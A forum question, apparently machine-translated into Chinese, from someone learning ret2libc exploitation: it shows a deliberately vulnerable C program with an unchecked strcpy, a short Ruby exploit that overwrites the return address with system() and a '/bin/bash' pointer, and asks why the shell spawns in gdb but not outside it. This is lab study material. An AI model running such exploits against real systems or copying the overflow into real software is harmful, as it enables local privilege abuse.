我正在學習ret2libc緩衝區溢出漏洞繞過NX。Ret2libc漏洞在gdb中工作,但在正常的shell中給出錯誤sh:1:g:0:1:找不到
我有漏洞的代碼(vuln.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[512];
if (argc != 2)
printf("NO\n");
else {
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
}
用這個命令編譯:# gcc -o vuln vuln.c
然後我創建了這個簡單的ret2libc利用在紅寶石(exploit.rb):
p = "A"*524
p += [0xb7e9ef10].pack('<I') # system()
p += [0xb7e79e46].pack('<I') # nomal ret val
p += [0xbffff75a].pack('<I') # "/bin/bash"
print(p)
如果它在gdb中運行它(gdb) r $(ruby exploit.rb)
它給了我一個不錯的bash shell。
我然後嘗試在正常的外殼,# ./vuln $(ruby exploit.rb)
運行它,但不是給我一個shell它給了我這個:sh: 1: g:0:1: not found
ASLR被禁用,啓用的唯一保護是NX,我想。
任何幫助表示讚賞。
編輯:
我在的情況下,幫助i686的運行此。
我已經爲此值添加了4。在shell(不在gdb中)運行時,由於某種原因地址移位。 – carloabelli